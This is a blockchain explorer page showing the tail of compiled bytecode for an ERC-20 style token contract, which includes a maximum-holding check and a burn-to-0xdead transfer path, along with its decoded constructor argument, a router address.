0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610ac557505050565b60095481610ae8846001600160a01b031660009081526002602052604090205490565b610af2919061104e565b11156107b85760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d6178000000000000000060448201526064016103d9565b6001600160a01b038416610b665760405162461bcd60e51b81526004016103d990610f70565b6001600160a01b038316610b8c5760405162461bcd60e51b81526004016103d990610fb5565b6001600160a01b03841660009081526002602052604090205482811015610bc55760405162461bcd60e51b81526004016103d990611061565b6001600160a01b03851660009081526002602052604090208382039055610bec8284610f5d565b92508160046000828254610c009190610f5d565b90915550506001600160a01b03841660009081526002602052604081208054859290610c2d90849061104e565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cb991815260200190565b60405180910390a35050505050565b6001600160a01b038316610cee5760405162461bcd60e51b81526004016103d990610f70565b6001600160a01b038216610d145760405162461bcd60e51b81526004016103d990610fb5565b6001600160a01b03831660009081526002602052604090205481811015610d4d5760405162461bcd60e51b81526004016103d990611061565b610d578282610f5d565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610d8d90849061104e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dd991815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610e1457858101830151858201604001528201610df8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461051557600080fd5b60008060408385031215610e5d57600080fd5b8235610e6881610e35565b946020939093013593505050565b600080600060608486031215610e8b57600080fd5b8335610e9681610e35565b92506020840135610ea681610e35565b929592945050506040919091013590565b600060208284031215610ec957600080fd5b813561049881610e35565b60008060408385031215610ee757600080fd5b8235610ef281610e35565b91506020830135610f0281610e35565b809150509250929050565b600181811c90821680610f2157607f821691505b602082108103610f4157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561034557610345610f47565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761034557610345610f47565b60008261102c57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561104357600080fd5b815161049881610e35565b8082018082111561034557610345610f47565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220f3b4f504526ae0f16de5f6ef25eda2adccd5b379b2f999f0678c5a221a1be0f464736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.